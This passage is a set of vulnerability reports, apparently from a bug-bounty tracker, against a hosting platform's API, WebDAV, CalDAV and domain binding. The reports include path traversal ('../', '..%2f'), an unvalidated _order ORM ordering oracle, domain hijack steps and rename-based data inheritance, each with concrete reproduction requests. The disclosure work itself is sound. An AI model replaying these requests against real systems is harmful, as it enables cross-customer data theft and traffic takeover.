-data-urlencode "csrfmiddlewaretoken=$CSRF" \
-data-urlencode "login=<account email>" \
-data-urlencode "password=<account password>" \
D - -o /dev/null | grep -i "^location"
# "location: /" + 302 = login succeeded = already validated.
Impact
Real users' confirmation links can be silently invalidated by infrastructure outside their control before they ever see the email. An attacker who obtains a victim's link via any side channel (the same exposure that already leaked 6 real tokens into public archives) can deliberately kill that specific pending registration with one unauthenticated request. Not account takeover.
Real-world evidence
6 real historical validation/reset links (user_id+token+expiration) found in Wayback Machine/Common Crawl/URL-scan archives, spanning May 2025–May 2026, all now expired but proving this mechanism already fires in production.
Suggested fix
Add an explicit HEAD handler on the validate view that returns 200 without consuming the token, or require POST-based confirmation like /user/reset_password/ already correctly does.
|
|
502 | Site address binding lacks ownership validation | Closed | 25.09.2026 |
Task Description
Summary field: Site address binding lacks ownership validation: any account can hijack vhost traffic for third-party domains resolving to Alwaysdata
—
Details field:
Affected endpoint (in scope) https://api.alwaysdata.com/v1/site/{id}/ - addresses (create and PATCH), and the equivalent front-end site address form (same validation).
Summary
Binding a hostname to a site requires no proof of domain control whatsoever. The platform accepts any syntactically valid domain and, after the async vhost update, serves the attacker's site for every request carrying that Host/SNI. A low-privileged account can therefore bind third-party domains whose traffic already reaches your infrastructure - dangling DNS left behind by churned customers, stale A/AAAA records, or domains that simply point at Alwaysdata without being hosted here - and answer that traffic with an attacker-controlled web application.
Two clarifications up front, because both will otherwise be raised:
1. *The documentation says customers just point DNS and declare the address:* true - but that documented workflow presumes the declarer hosts the domain. Nothing verifies the presumption. There is no DNS TXT challenge, no HTTP token, no whois/registry check at bind time. Format is the only validation ("recon-hijack.example" → 400 "format incorrect"; a fully formed domain the tester does not own → 204).
2. *Uniqueness between customers is enforced (cf. FS#321 closure: "two customers cannot configure the same domain"):* also true - and I verified it deliberately on both code paths:
CREATE site with an address already used by another site ->
400 {"address": ["L'adresse docs.alwaysdata.net/ est deja utilisee par un autre site."]}
PATCH site with the same already-used address ->
400 {"address": ["L'adresse docs.alwaysdata.net/ est deja utilisee par un autre site."]}
But uniqueness is not ownership: it only prevents conflicts among hostnames that are already configured on the platform. A third-party domain that is configured by nobody (the scenarios in the impact section) has no existing configuration to conflict with, passes the uniqueness check trivially, and is then bound with zero proof of control. The invariant "your hostname serves your site" silently fails for every hostname not currently claimed.
Steps to reproduce
1. Register any low-privilege account with one site (my existing test account, site id 1080353).
2. Add a domain you do not own and cannot prove control of:
PATCH https://api.alwaysdata.com/v1/site/1080353/
Authorization: Basic <token-id>:
Content-Type: application/json
{"addresses":["docs.alwaysdata.net/","recon-hijack-xyz123.com/"]}
→ 204 No Content.
3. Wait for the platform task "Updating the front-end HTTP configuration (hostnames)" to propagate (~45 seconds observed), then send traffic for the claimed domain to the server IP:
GET / HTTP/1.1
Host: recon-hijack-xyz123.com
Connection: close
-> 200, serving MY site's content (index page in my www/)
Control - before the claim, after revert, or with an unclaimed host:
-> 404 "Site not found"
The 404 → 200 → 404 control loop establishes causality between the API modification and the vhost routing change.
4. HTTP-01 challenge response control. Place a marker file at /.well-known/acme-challenge/recontest in my www/ (WebDAV, my own account), then:
GET /.well-known/acme-challenge/recontest HTTP/1.1
Host: recon-hijack-xyz123.com
-> 200 "recon-acme-marker-OK"
The attacker can control the HTTP-01 challenge response for any domain that resolves to the affected Alwaysdata infrastructure. This creates the prerequisite for certificate issuance through an HTTP-01 ACME workflow, subject to the platform's certificate-provisioning behavior. (I have not demonstrated issuance for a domain owned by someone else, and no real third-party domain was ever claimed during testing - only a non-resolving throwaway name, requested solely against your own in-scope IP.)
5. Cleanup (immediately after verification):
PATCH {"addresses":["docs.alwaysdata.net/"]} -> 204
GET / with Host: recon-hijack-xyz123.com -> 404 again (async propagation, ~45s)
WebDAV DELETE marker + .well-known dirs -> 204, GET -> 404
Temporary second site (uniqueness test) -> DELETE 204, listings verified
Impact
Any third-party domain whose traffic resolves to an affected Alwaysdata server/IP can potentially be rebound to an attacker-controlled Alwaysdata site. Concretely:
- Dangling DNS - a former customer's A/AAAA records still point at your infrastructure after their site (and thus their address configuration) is gone. Uniqueness no longer protects it: nothing is configured to conflict with. - Stale or misconfigured records - domains that were never hosted here but resolve here through leftover or erroneous DNS. - Domains intentionally pointing at Alwaysdata for parts of their setup (mail, subdomains) while their main website lives elsewhere - the web traffic still lands on your IPs.
For any such domain the attacker serves arbitrary content on both HTTP and HTTPS (SNI routing demonstrated above) under the victim's exact hostname: phishing, credential harvesting, content spoofing. If certificate provisioning for the bound hostname follows the HTTP-01 path, the challenge response is the attacker's (demonstrated) - an escalation path to a publicly trusted certificate for the victim hostname, making the HTTPS hijack indistinguishable from legitimate.
Note this is not a Host-header reflection issue (excluded by program rules): the attacker modifies persistent vhost configuration through an authenticated API, and the platform itself routes real traffic to the attacker's site thereafter. The attacker does not gain control of the victim's DNS - they exploit the fact that the traffic already reaches Alwaysdata.
Suggested classification: High (cross-organization traffic takeover of third-party hostnames), with certificate issuance as an escalation path rather than the sole basis for severity. For reference, FS#438 (domain-transfer logic flaw) was classified Critical and fixed; FS#321 (HTTP-01 webroot poisoning) was closed as invalid on the grounds that "two customers cannot configure the same domain" - which, as shown above, is enforced, but answers a different question than the one this finding poses.
Root cause
Address binding performs a format check and a uniqueness check against currently configured addresses, but never a domain-control verification (DNS TXT challenge, HTTP token, or registry/whois check). Uniqueness and ownership are different properties; only the former is implemented, and only the former was ever the subject of the FS#321 dismissal.
Suggested remediation: require proof of domain control before a hostname becomes routable - e.g. DNS TXT record for the domain, or an HTTP token served from the domain's current origin - and apply the same gate on the PATCH/update path as on create. Additionally consider refusing to bind hostnames that resolve to your infrastructure but have no active customer configuration (the dangling-DNS case), or warn loudly when binding a hostname whose registry/SOA data indicates a different holder.
Relation to my previous reports
Independent of my earlier tasks (WebDAV ..%2f, site path "../", webdav/ftp path "../") - those were file-system root-escape issues bounded by your per-account UID isolation. This one is about the hosting control plane binding third-party domain names and reaches outside your customer base entirely.
Account used for testing
- Same test customer account as my previous tasks (details available on request). - All state reverted (addresses, marker files, temporary test site); listings verified back to original. - No third-party domain, customer, or traffic involved at any point; the claimed hostname does not resolve in public DNS.
|
|
501 | WebDAV share-root containment bypass on webdav-*.always ... | Closed | 25.09.2026 |
Task Description
[Severity: High] WebDAV share-root containment bypass on webdav-*.alwaysdata.net
Full technical write-up with exact request paths and outputs is attached as "01-webdav-cross-tenant.md" (the literal encoded-traversal strings trip the WAF if pasted inline, hence the attachment).
SUMMARY The per-account WebDAV service at webdav-<account>.alwaysdata.net runs WsgiDAV 4.3.3 (shown in its own error pages). That version is affected by CVE-2026-48099 ("encoded dot segments can escape WsgiDAV filesystem share roots", fixed in WsgiDAV 4.3.4). FilesystemProvider._loc_to_file_path() confines a request to the account home with a string-prefix check (file_path.startswith(root_path)) instead of a real path-boundary check, so a request path that resolves OUTSIDE the share root is accepted as long as the resulting absolute path still starts with the root path string.
WHAT I CONFIRMED (see attachment for the exact transcript) Home dirs are /home/<account_name>. From my own account whose root is /home/mehdik5100a: - a request going one level up (to /home) is correctly rejected with
500 "Security exception: tried to access file outside root: /home";
- a request resolving to a sibling that merely shares the root string prefix,
e.g. /home/mehdik5100aZZZ, is NOT rejected: it returns 404 (target absent),
proving "/home/mehdik5100aZZZ".startswith("/home/mehdik5100a") passed the
containment check.
Reproduced identically on a second, independent backend server (account root /home/mehdik5100). Version banner: WsgiDAV/4.3.3 behind gunicorn.
IMPACT Because account names are chosen freely at signup, an attacker who registers a free account whose name is a string-prefix of a target account, and who lands on the same physical server as that target, can read / write / delete the target's files over WebDAV (GET/PUT/DELETE outside root are confirmed in the CVE's own proof). This is a cross-tenant break on the shared hosting platform, reachable from a free account. CVSS 3.1 8.7 High (AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).
ETHICS / SCOPE I demonstrated only the containment bypass (the 404-vs-500 oracle) on my own three test accounts (mehdi2008kerimov+alwaysdata{1,2,3}@gmail.com). I did NOT read, write, or delete any other customer's data, and did not create the volume of accounts that forcing co-location would require.
REMEDIATION Upgrade WsgiDAV to >= 4.3.5 (4.3.4 fixes CVE-2026-48099). Additionally confine each WebDAV worker to its account at the OS level (per-account chroot / mount namespace / bind mount of only /home/<account>) so a library path bug cannot cross tenants. Consider hiding the WsgiDAV version and Python exception text.
- Mehdi Kerimov
|
|
499 | API accepts unvalidated WebDAV/FTP user path | Closed | 25.09.2026 |
Task Description
Summary field: API accepts unvalidated WebDAV/FTP user path ("../") - file access root escapes the account directory (cross-customer read/write risk)
—
Details field:
Affected endpoint (in scope) https://api.alwaysdata.com/v1/webdav/ and https://api.alwaysdata.com/v1/ftp/ (create operation, path field), and the resulting WebDAV service on https://webdav-[account].alwaysdata.net/
Summary
The API create operation on the webdav and ftp resources accepts an arbitrary path value without validation. Creating a user with "path":"../" is accepted (201 Created) and stored verbatim. The WebDAV service then resolves that user's root above the account directory (to /home), so the "user" can read and write paths outside their own account - in the worst case, every other customer's files under /home.
This directly breaks the documented guarantee of the field (from /v1/webdav/doc/):
\"Chemin relatif a la racine de votre compte. Les repertoires parents du repertoire racine ne seront ni accessibles ni visibles.\" (\"Path relative to your account root. Parent directories of the root directory will neither be accessible nor visible.\").
Steps to reproduce
1. Create a test account with a WebDAV user restricted to www/ (control).
2. Create a second WebDAV user with a traversal path:
POST https://api.alwaysdata.com/v1/webdav/
Authorization: Basic <token-id>:
Content-Type: application/json
{"name":"<account>_prov","password":"<any>","path":"../"}
→ 201 Created. GET confirms stored value:
"path": "../"
(no validation error). Identical POST to
/v1/ftp/
also returns 201 with
"path": "../"
.
3. Authenticate to the WebDAV service as that user and prove the root escaped the account. (Only URLs inside my own account namespace were requested - see rules note below.)
GET /docs/ -> 200 (account directory is INSIDE this user's root)
GET /docs/www/index.html -> 200 (own file, reachable only if root = /home)
Control - existing user with path "www/":
GET /docs/ -> 404
GET /docs/www/index.html -> 404 (properly jailed)
The control returning 404 while the "../" user returns 200 for the same URLs proves the root is physically different: it resolved to /home (the parent of /home/<account>/), not to /home/<account>/.
4. Cleanup (immediately after verification):
DELETE /v1/webdav/<id>/ -> 204
DELETE /v1/ftp/<id>/ -> 204
GET /v1/webdav/, /v1/ftp/ -> only original users remain
Impact
Any customer - or an attacker who registers an account - can create a WebDAV (or FTP) user whose root is /home, i.e. full read/write across tenant boundaries on the file-sharing layer. Unlike the encoded-traversal issue in my earlier WebDAV task (which broke the jail of a correctly configured user at request time), this one lets the attacker configure an escaped root directly through the API, with no special encoding and no pre-existing restricted user.
Worst case per your methodology: cross-customer file read and write via WebDAV (PUT/DELETE were exercised only inside my own account while proving the write path of the related issue), plus disclosure of anything stored under /home.
Suggested classification: High (customer data), potentially Critical under worst-case analysis - your call.
I did not request any other account's paths (program rules). All probes were limited to /docs/… URLs inside my own test account, which is sufficient to prove the root elevation.
Root cause
The path field of the webdav and ftp resources is not validated on create (and presumably update): no rejection of "..", no canonicalization check that the resolved root stays within the account directory before the value is handed to the file-sharing services.
Relation to my previous reports
- WebDAV ..%2f jail bypass (earlier task): request-time encoding bypass of a correctly configured user. Different layer, different fix. - Site path "../" (earlier task): same missing-validation pattern on the site resource affecting Apache DocumentRoot. This report covers the webdav and ftp resources affecting the file-sharing services. If you prefer to handle these as one fix family, feel free to merge.
Account used for testing
- Same test customer account as my previous tasks (details available on request). - Both test users deleted (204) and listings verified back to original state; no lingering credentials. - No foreign customer data was accessed at any point.
|
|
498 | API accepts unvalidated site path | Closed | 25.09.2026 |
Task Description
Summary field (paste as task title): API accepts unvalidated site path ("../") - HTTP docroot escapes account directory, files outside site root served via own domain
—
Details field:
Affected endpoint (in scope) https://api.alwaysdata.com/v1/site/ (update operation) and the resulting vhost on the customer site (e.g. https:<account-site>.alwaysdata.net/)
Summary
The API "update" operation on the site resource accepts an arbitrary path value without validation or normalization. Setting it to a relative traversal ("..") rewrites the web server vhost DocumentRoot so it points outside the site directory (and outside the account directory, resolving to /home). Any file under that escaped root is then served over HTTP through the attacker's own site - i.e. the website can read paths it was never supposed to reach, in the worst case including other customers' files under /home.
The same field rejects nothing: it silently strips leading slashes ("/etc" is stored as "etc/") and accepts ".."" verbatim.
Steps to reproduce
1. Create a test account with a site (path www/).
2. Confirm normal state:
<code> GET https://api.alwaysdata.com/v1/site/<id>/ → "path": "www/" GET https:<site>.alwaysdata.net/ → 200 (serves www/) GET https:<site>.alwaysdata.net/docs/www/index.html → 404 (URL does not exist under legit docroot) </code>
3. Set a traversal path:
<code> PATCH https://api.alwaysdata.com/v1/site/<id>/ Authorization: Basic <token-id>: Content-Type: application/json
{"path":"../"} </code>
→ 204 No Content (no validation error). GET confirms "path": "../".
4. Prove the docroot escaped (the key control: these URLs are IMPOSSIBLE under the legitimate docroot /home/<account>/www):
<code> GET https:<site>.alwaysdata.net/ → 403 (docroot now resolves to /home, indexes disabled) GET https:<site>.alwaysdata.net/docs/www/index.html → 200, body = the site's own index.html GET https:<site>.alwaysdata.net/docs/admin/ → 403 (account-level directory resolves outside site root) </code>
The /docs/www/index.html request only returns 200 because DocumentRoot became /home - the file physically lives at /home/<account>/www/index.html and is served via URL path /docs/www/. Under the correct docroot the same URL is 404.
5. Restore:
PATCH {"path":"www/"} -> 204
GET / -> 200 (normal again)
GET /docs/www/index.html -> 404 (escape gone)
Impact
Any customer (or attacker who registers an account) can point their site's document root outside their account by setting path to ".." (or deeper traversals). The web server then serves any filesystem path it can read through the attacker's own hostname.
Potential impact: Because the supplied path can resolve outside the account root, the site's DocumentRoot can potentially encompass /home and other account directories. If those paths are readable by the account's HTTP service/container, this could permit cross-tenant disclosure of other customers' files. I did not access other customers' data, in accordance with the program rules.
Suggested classification: High (customer data), potentially Critical depending on what the web server process can read - your call under worst-case analysis.
I did not attempt to fetch any other account's files (program rules) - only paths inside my own test account were requested, and only to prove the escape.
Root cause
The path field of the site resource is not validated server-side: no rejection of "..", no canonicalization check that the resolved path stays within the account directory before applying it to the web server configuration.
Additional observations (not standalone reports)
- Same field silently normalizes: "/etc" is stored as "etc/" (leading slash stripped, no error). - Mass assignment on readonly field: PATCH {"id":12345} returns 204 but id is unchanged (ignored - OK). - Field cross-mutation: PATCH {"annotation":"recon-test"} also set "name" to "recon-test" on the site (unexpected side effect, minor). - With path "../" the site root returns 403 rather than 404, leaking that the path exists (minor).
Account used for testing
- Same test customer account as my previous WebDAV task (panel login available on request). - Site restored to path "www/" immediately after verification; site confirmed serving normally (200). - No files outside my own account were accessed at any point.
|
|
497 | WebDAV path jail bypass via %-encoded traversal (..%2f) ... | Closed | 28.09.2026 |
Task Description
Summary field: WebDAV path jail bypass via %-encoded traversal (..%2f) - read/write outside configured user root
—
Details field:
Affected endpoint (in scope): https://webdav-[account].alwaysdata.net/
Summary
A WebDAV user created with a restricted path (API field: "Chemin relatif a la racine de votre compte. Les repertoires parents du repertoire racine ne seront ni accessibles ni visibles.") can escape that restriction using URL-encoded directory traversal (..%2f) and list, read, write and delete files anywhere inside the hosting account - exactly what the restriction is supposed to prevent.
The per-user root is only enforced against normalized () traversal. The encoded form ..%2f is passed through to the path mapper, which resolves it relative to the account root (the WsgiDAV security check still passes because the final path stays inside the account), so the configured subdirectory jail is silently skipped.
Cross-account access is NOT possible: going one level above the account root returns HTTP 500 with "Security exception: tried to access file outside root: /home" (verbose error disclosure, see additional notes).
Steps to reproduce
1. Create a test account with a site (path www/).
2. Create a WebDAV user restricted to the site directory:
POST https://api.alwaysdata.com/v1/webdav/
Authorization: Basic <token-id>:
{"name":"<account>_recon","password":"<pwd>","path":"www/"}
Confirm the restriction is stored: GET /v1/webdav/ returns "path": "www/".
3. Confirm the jail with Digest auth:
PROPFIND https://webdav-<account>.alwaysdata.net/
-> 207, displayname = www (configured root), children = site files only
4. Bypass with encoded traversal. Control test proving the file lands OUTSIDE the jail:
PUT /..%2f_recon_proof2.txt -> 201 Created
PROPFIND / -> 207: children of www, does NOT contain the file
PROPFIND /..%2f -> 207: displayname=<account>, children =
admin/, www/, _recon_proof2.txt (parent listed)
GET /_recon_proof2.txt -> 404 (file is not inside the jail)
GET /..%2f_recon_proof2.txt -> 200, exact body read back
DELETE /..%2f_recon_proof2.txt -> 204
GET /..%2f_recon_proof2.txt -> 404 (cleanup verified)
Plain GET /../ does NOT bypass (client and server normalize it to /) - only the encoded variant does, which is why it is easy to miss.
Raw request for the PUT (after Digest handshake):
PUT /..%2f_recon_proof2.txt HTTP/1.1
Host: webdav-<account>.alwaysdata.net
Authorization: Digest <...>
recon-proof2-XYZZY
5. Above the account root the protection holds:
PROPFIND /..%2f..%2f -> 500 Security exception: tried to access file outside root: /home
Validation notes (re-tested same day)
- Restriction is genuinely stored: GET /v1/webdav/ shows path "www/" for the test user (a separate default user with path "" has full root legitimately - that is not this vector). - The 404-inside-jail / 200-escaped control with the identical filename proves this is not URL-normalization noise: the same name resolves differently depending on the encoded traversal. - Parent listing exposes sibling directories (e.g. admin/) that must be unreachable per the API documentation. - All proof files were deleted and deletion verified.
Impact
Any delegated WebDAV user limited to a subdirectory becomes a full-account credential: it can reach sibling directories of its configured root - other sites' document roots, mail storage, SSH keys and config, application source, any secrets in the account. Combined with the confirmed write access this is account takeover within the tenant.
Worst case per your methodology: full read/write of one customer account's content by a principal who was deliberately given access to a single directory.
CVSS estimate: between Medium and High. Suggested metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (adjust as you see fit; PR:L is a deliberately delegated credential).
Additional observations (not standalone reports)
- Verbose 500 pages leak internals: exception text with filesystem layout (/home) and exact software: WsgiDAV/4.3.3. Invalid alone (version/path disclosure) but it directly helped diagnose the bypass. - WWW-Authenticate: Digest realm="alwaysdata" on webdav; Server: gunicorn behind "Via: 1.1 alproxy".
Account used for testing
- Test customer account created for this program (panel login available on request for verification). - WebDAV user created: <account>_recon (path www/) - can be deleted on request. - Proof files already deleted, deletion verified. - No other account or third-party data was accessed at any point.
|
|
496 | Cross Customer Contacts and Calendar via Account Rename | Closed | 30.09.2026 |
Task Description
Vulnerability Information
Name of Vulnerability
A Radicale collection is addressed by the mailbox address, not by the account that owns it, and renaming an account never destroys the collection while the freed account name becomes registrable again within about a minute. The next holder of an account name therefore inherits the previous customer's address book and calendar in full, through the ordinary webmail interface and with their own password.
Vulnerability Category
Access Control Issues, Exposure of Sensitive Member Information, per the qualifying list on the bug bounty page.
Cross-customer disclosure of personal data belonging to a different customer.
CVSS 3.1: 8.1 High (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`)
Confidentiality: High. The full contents of another customer's address book and calendar are exposed, including names, email addresses, telephone numbers, event titles, locations, and notes.
Integrity: High. The inheriting customer does not merely read the collection, they own it, and anything they write is visible to the other party while both hold the address.
Availability: None.
Scope: Unchanged. The vulnerable component and the impacted component are both the CardDAV and CalDAV service.
I have deliberately not claimed Scope Changed and have deliberately not scored this Critical. The stored mail itself does not cross, which I state as a measured fact below.
Description
Two facts combine. Neither is a defect on its own, and both are yours to change.
First, a Radicale collection is keyed by the mail address and by nothing else. The account that owns the address is not part of the path and is not consulted.
```text PROPFIND https://caldav-<account>.alwaysdata.net/<address>/
207, the address IS the collection
PROPFIND https://caldav-<account>.alwaysdata.net/<account>/
403, the account name is NOT
```
Second, the free mailbox `<account>@alwaysdata.net` is derived from the account name and its local part is readonly in your own panel. Whoever holds an account name therefore necessarily holds the credential that authenticates that collection.
The defect is what happens between those two facts.
When an account is renamed, the old address stops being served but its collection is never destroyed. The name is then released, and I measured it becoming registrable again after 46 seconds by any customer on a free plan.
The new holder creates the account, sets their own mailbox password, and Radicale hands them the collection that the previous customer left behind.
THIS IS NOT A DESIGN POSITION
Your own code is the evidence.
Ace collections, which I verified separately, are cleaned up when the name is freed after 6 minutes and 33 seconds. The cleanup path exists and works.
Rename simply does not invoke it. This is why I am reporting this as a bug rather than as a consequence of releasing a name.
WHAT THIS REPORT DOES NOT CLAIM
I am not reporting that account names are public or enumerable. Your scope notes say account names are accessible in many ways, and I accept that completely.
The disclosed material here is not the name. It is the previous owner's PIM data, which is not derivable from the name by any means.
WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH
A customer cannot access another customer's PIM data by any other route.
I ran the control on the node:
* The UID is the tenant's own. * `/home` is `drwxr-x–x`, so it cannot be listed. * The store is readable from the tenant filesystem. * There is no API path to it. * Customer A's API token returns 404 on Customer B's objects.
The only way to read this data is to hold the address, and holding the address is exactly what a rename gives away.
Vulnerable Instances
```text PROPFIND / GET / PUT https://caldav-<account>.alwaysdata.net/<address>/addressbook/
PROPFIND / GET / PUT https://caldav-<account>.alwaysdata.net/<address>/calendar/ ```
The same collections are rendered in the Contacts and Calendar tabs of:
`https://webmail.alwaysdata.com`
The issue is reachable by any authenticated customer on a free plan. No paid plan or special role is required.
BEFORE YOU ASK
The same person registered both customers, and that is not relevant to the authorization boundary.
Your records will show that one researcher created both. What matters is that your control plane models them as two customers with no permission grant between them and enforces that separation everywhere else.
Customer A's API token against Customer B's account ID returns 404, byte identical to a nonexistent ID.
The account pickers are disjoint, and Customer B does not appear in Customer A's customer selector at all.
The boundary crossed here is the one your platform draws. What crosses that boundary is contacts and calendar data.
Steps to Reproduce
Total cost: EUR 0.
Two unrelated customers were used, each of whose `/permissions/` page lists only itself.
All times are UTC, 2026-09-24.
Both accounts were ours and both have since been deleted.
1. Create the test data
As Customer B, write two objects into the collection of the free address held by Customer B's account:
```text PUT …/<addressB>/addressbook/<uid>.vcf
A vCard with a name and mobile number
PUT …/<addressB>/calendar/<uid>.ics
An event with a summary, location and description
```
2. Rename the account
As Customer B, rename the account, which vacates the name.
Recorded at `08:27:22Z`.
3. Re-register the released account name
As Customer A, a different customer with no relationship to B, create a brand new free account using the name B just vacated.
Accepted at `08:28:32Z`.
The name became registrable again after 46 seconds.
4. Set the new mailbox password
As Customer A, set the mailbox password on the new account to a value chosen by A.
5. Read the collection
As Customer A, read the collection.
At `08:31:51Z`:
```text GET …/<addressB>/calendar/<uid>.ics
200, returns B's event description
GET …/<addressB>/addressbook/<uid>.vcf
200, returns B's name, email address and mobile number
GET …/<addressB>/calendar/<never>.ics
404, NEGATIVE CONTROL
```
The same vCard is then visible in the Contacts tab of `webmail.alwaysdata.com` for Customer A.
Proof of Concept
Controls
All controls were run in the same window because a 200 response on its own does not prove ownership transfer.
Only the current holder's password authenticates.
Against the previous owner's password, a wrong password, an empty password, and a different address's credential, the requests all returned 401 or 403, with IMAP agreeing in the same minute.
Fresh address control
A fresh address opens empty.
I created an account on a name whose collection had never previously existed. The collection returned no objects, so a 200 response on a reclaimed name is not simply what every new account sees.
The mechanism
The mechanism was independently re-verified by a second tester on a live unrelated account.
```text PROPFIND https://caldav-vk7research.alwaysdata.net/vk7research
200
PROPFIND https://caldav-vk7research.alwaysdata.net/vk7research/
403
PROPFIND …/zznever4471@alwaysdata.net/
wrong password on the correct address
401
a different customer's address with this password
```
IT IS BIDIRECTIONAL
In a second run over the rename path, the collection came back to the original holder.
This shows that this is not a stale read of a cached copy. Both parties are operating on one live collection.
THE MAILDIR DOES NOT CROSS
I am stating this as a limit of the demonstrated impact.
The new holder's INBOX, Drafts and Sent were all 0 messages.
Stored mail is not affected.
Contacts and calendar are.
Impact
Any customer who renames an account, for any reason, silently donates their entire address book and calendar to whoever registers that name next.
Renaming is an ordinary, encouraged, reversible-looking operation, and nothing in the interface indicates that personal data remains behind the released name.
The window is not a race. The collection persists indefinitely, so every account name ever vacated by a rename still has its collection waiting.
The disclosed data is third-party personal data in the GDPR sense, belonging to people who are not the customer and never interacted with the inheriting customer.
This includes names, email addresses, telephone numbers in the previous owner's contacts, and attendees and notes from their meetings.
The inheriting customer also gains write access, so they can insert or alter entries that the previous owner's client will sync.
I did not go looking for a real customer's vacated name, and I did not read any data belonging to anyone outside my own two test accounts.
The generalisation is argued from the mechanism, not exercised against a real customer's data.
Recommendation
1. Make RENAME invoke the same collection cleanup that DELETE already performs. This is the direct fix, and the code already exists. It is simply not called on the rename path.
2. Alternatively, and more robustly, key the collection by an immutable internal account identifier rather than by the mail address, and map the address to that identifier at request time.
3. Hold a released account name in quarantine for long enough that the previous collection is cleaned up before the name can be reissued, rather than reissuing it in under a minute.
4. Audit for collections whose address has no current owner and purge orphaned collections. I encountered orphaned collections during this test and list them in the private annex so they can be removed.
5. Unrelated but adjacent, I also found rename residue in DNS: a dangling `<name>.alwaysdata.net` A record pointing at `185.31.41.11` with no owner. A never-existent control name returns NXDOMAIN, so this appears to be rename residue. This also answers the earlier report about `webmaster.alwaysdata.net`, which is residue of the same kind.
|
|
495 | Cross Customer Data Read via Unvalidated _order Paramet ... | Closed | 24.09.2026 |
Task Description
Name of Vulnerability:
An undocumented query string parameter named `_order` is passed straight into Django's `order_by()` with no validation at all, so an attacker can supply an arbitrary ORM path rather than a value. This both traverses relations into models the caller has no access to and, through a multi-valued reverse relation, emits one row per related row of a shared parent, turning the position of the attacker's own row into a comparison oracle against every other customer's value in the chosen column.
Vulnerability Category:
Access Control Issues, Exposure of Sensitive Member Information, Cross-Customer Disclosure.
CVSS 3.1 score: 8.6 High (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`).
Confidentiality is High because arbitrary column content belonging to other customers is recoverable, demonstrated end to end. Integrity and Availability are None because this is a read-only primitive.
The vulnerable component is one list view's query string handling, while the impacted component is the stored data of the whole customer base.
I am deliberately not scoring this Critical. The primitive yields an ordering, not raw bytes, so recovering a column verbatim requires a column the attacker can also write text into, which is what I demonstrate. This is not true of `password`, which is hashed, nor of `dkim_private_key`, which the API validates as a key pair. I show below that `_order` sorts on those columns, but I do not claim to have recovered them.
Description:
This is not the filter defect reported previously, and the fix for that issue does not touch this one.
The earlier report concerned `key=value` filter parameters reaching `.filter()`. This is a different parameter reaching a different ORM operation. The filter helper could not traverse relations usefully because the value still had to be a real primary key.
`_order` has no value restriction. The path itself is the value, so an arbitrary ORM traversal is simply accepted.
```text GET /mailbox/?_order=name 200, ordering applied GET /mailbox/?_order=zzbogus4471 500 GET /mailbox/?_order=domainzzbogus 500, uncaught FieldError GET /mailbox/?_order=domaindkim_private_key 200 GET /mailbox/?_order=domainaccountcustomerpassword 200, accepted ```
The 500 responses are how I mapped the model graph: a path that resolves returns 200, while one that does not resolve raises an uncaught `FieldError`.
### TWO PROPERTIES COMBINE TO MAKE THIS A CROSS-CUSTOMER READ
First, relation traversal.
A free plan customer's own mailbox sits on `odata.net`, which is Domain primary key 1 and belongs to the customer. From that one owned row, `domain` reaches the customer's own domain columns, and `domainaccountcustomer` reaches the Customer model, which carries `last_login` and is therefore part of the authentication model.
Second, and this is the actual read primitive, ordering by a multi-valued reverse relation does not deduplicate.
`domainmailboxes<column>` emits one output row per mailbox on `alwaysdata.net`, so a single owned row is repeated once per other customer's row. The resulting sequence is ordered by their values in the chosen column.
An attacker with a domain of their own contributes exactly one row to the same result set, and its index is the rank of a string the attacker chose among all of the other values.
Changing that string and rereading the index creates a comparison oracle, and a comparison oracle is a blind read.
### MEASURED RESULTS
All measurements below were performed on 2026-09-24:
```text GET /mailbox/ 200
GET /mailbox/?_order=domainmailboxesname 200 43,700,241 bytes 50,929 rows
GET /mailbox/?_order=domainmailboxesname&page=2 identical result
GET /mailbox/?_order=domainsubdomainsaddressessite
200
24,919,125 bytes
GET /mailbox/?_order=domainsubdomainsaddressessiteaccount
200
48,162,527 bytes
56,148 rows
43.6 seconds
```
A malformed path such as:
```text GET /mailbox/?_order=domainsubdomainsaddressessitezzbogus ```
returns a 500 response.
### WHAT THE SAME DEFECT ALSO REACHES
I am stating this as reach, not as an additional impact claim.
On `alwaysdata.net`, subdomains are every customer's `<account>.alwaysdata.net`. Therefore, the chain above pivots from subdomains to addresses to site to account to customer.
The control plane can therefore sort 56,148 rows by the `password` column of its authentication model.
I am recording how far an unvalidated path travels, not claiming disclosure of that column. I did not recover a single byte of it, and I cannot do so with this technique because recovery requires a column an attacker can also write a comparand into, while `password` is hashed.
The demonstrated impact of this report is the cross-customer recovery described below.
### WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH
My shell is `drwxr-x–x`, so it cannot be listed, and a filesystem-wide grep for my planted secret returns nothing.
A customer's own shell cannot read a single other customer's mailbox row through any route.
The same control on the API confirms the authorization boundary:
Customer A receives HTTP 404 on `/mailbox/635949/` and on `/v1/mailbox/635949/` when requesting Customer B's mailbox, while receiving 200 on its own row in the same minute.
## VULNERABLE INSTANCES
```text GET https://admin.alwaysdata.com/mailbox/?_order=<arbitrary ORM path> ```
The parameter is honoured identically on:
```text /site/ /domain/ /ssl/ /job/ /service/ /ip/ ```
and on:
```text https://api.alwaysdata.com/v1/ ```
with the same syntax.
It is not honoured on:
```text /token/ /support/ /database/ /subscription/ /permission/ ```
The issue is reachable by any authenticated customer on a free plan. No paid plan, special role, or additional permission grant is required.
## TWO THINGS I WANT TO SAY BEFORE YOU ASK
### FIRST
The same person registered both customers, and that is not relevant to the authorization boundary.
The two customers below were created by one researcher. What matters is that the control plane models them as separate customers and enforces that separation everywhere else.
Customer A receives 404 on Customer B's mailbox on both the panel and API while receiving 200 on its own row in the same minute.
Customer A's API token against Customer B's account ID returns 404, byte-identical to a nonexistent ID.
The account pickers are disjoint, and Customer B does not appear in Customer A's customer selector.
The boundary this report crosses is the one the platform draws, which is the relevant security boundary for this finding.
### SECOND
The value I recovered was one I deliberately planted.
I wrote a canary into a free-text column of a mailbox belonging to the other customer and then recovered it from a session that has no access to that mailbox.
I did this so that no real third-party data was ever read, inferred, or recorded.
The oracle necessarily ranks my probes against the other 50,928 rows in the population, which is the defect itself, but every value I reconstructed was my own.
## STEPS TO REPRODUCE
Total cost: EUR 0.
Two unrelated customers were used, each with their own permissions and disjoint account pickers.
